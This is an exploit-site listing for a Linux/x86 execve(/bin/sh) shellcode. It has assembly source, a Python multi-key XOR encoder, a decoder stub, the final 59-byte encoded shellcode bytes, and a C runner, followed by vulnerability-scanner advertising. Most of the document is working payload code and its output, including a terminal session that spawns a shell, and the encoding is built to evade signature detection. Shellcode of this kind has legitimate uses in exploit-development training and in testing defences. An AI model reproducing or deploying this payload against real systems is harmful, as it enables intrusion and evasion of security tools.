linuxx86 multiple keys xor encoder decoder execve(binsh) shellcode (59 bytes)

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & generator vulnerability




linuxx86 multiple keys xor encoder decoder execve(binsh) shellcode (59 bytes) Code Code...
				
# Title: Linux/x86 - Multiple keys XOR Encoder / Decoder execve(/bin/sh) Shellcode (59 bytes) # Author: Xavi Beltran # Date: 05/05/2019 # Contact: xavibeltran@protonmail.com # Purpose: spawn /bin/sh shell # Tested On: Ubuntu 3.5.0-17-generic # Arch: x86 # Size: 59 bytes ############################################## sh.nasm ############################################### global _start section .text _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80 ###################################### original shellcode ############################################# \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 ################################# encoder-xor-multiple-keys.py ###################################### #!/usr/bin/python # Autor: Xavi Beltran # Date: 05/05/2019 shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" encoded2 = "" print 'Encoded shellcode ...' i = 1 for x in bytearray(shellcode) : if i == 11: i = 1 y = x^i encoded += '\\x' encoded += '%02x' % y encoded2 += '0x' encoded2 += '%02x,' %y i = i + 0x01 print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode)) ######################################### Encoded Shellcode ############################################### socket@ubuntu:~/Assesments/4$ python encoder-xor-multiple-keys.py Encoded shellcode ... \x30\xc2\x53\x6c\x2a\x29\x74\x60\x61\x25\x63\x6b\x6d\x8d\xe6\x56\x8e\xea\x5a\x83\xe0\xb2\x08\xc9\x85 0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85, Len: 25 #################################### decoder-xor-multiple-keys.nasm ############################################### ; Filename: xor-decoder-multiple-keys.nasm ; Author: Xavi Beltran ; Date: 05/05/2019 global _start section .text _start: xor edx, edx mov dl, 1 jmp short call_decoder decoder: pop esi xor ecx, ecx mov cl, 25 decode: cmp dl, 0x0b jz xor_counter xor byte [esi], dl inc esi inc dl loop decode jmp short Shellcode xor_counter: mov dl, 1 jmp decode call_decoder: call decoder Shellcode: db 0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85 ############################################### final shellcode ################################################ socket@ubuntu:~/Assesments/4$ ./objdump_parser.sh decoder-xor-multiple-keys "\x31\xd2\xb2\x01\xeb\x17\x5e\x31\xc9\xb1\x19\x80\xfa\x0b\x74\x09\x30\x16\x46\xfe\xc2\xe2\xf4\xeb\x09\xb2\x01\xeb\xee\xe8\xe4\xff\xff\xff\x30\xc2\x53\x6c\x2a\x29\x74\x60\x61\x25\x63\x6b\x6d\x8d\xe6\x56\x8e\xea\x5a\x83\xe0\xb2\x08\xc9\x85" socket@ubuntu:~/Assesments/4$ ./shellcode Shellcode Length: 59 $ whoami socket socket@ubuntu:~/Assesments/4$ cat shellcode.c #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xd2\xb2\x01\xeb\x17\x5e\x31\xc9\xb1\x19\x80\xfa\x0b\x74\x09\x30\x16\x46\xfe\xc2\xe2\xf4\xeb\x09\xb2\x01\xeb\xee\xe8\xe4\xff\xff\xff\x30\xc2\x53\x6c\x2a\x29\x74\x60\x61\x25\x63\x6b\x6d\x8d\xe6\x56\x8e\xea\x5a\x83\xe0\xb2\x08\xc9\x85"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }

Linuxx86 multiple keys xor encoder decoder execve(binsh) shellcode (59 bytes) Vulnerability / Exploit Source : Linuxx86 multiple keys xor encoder decoder execve(binsh) shellcode (59 bytes)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.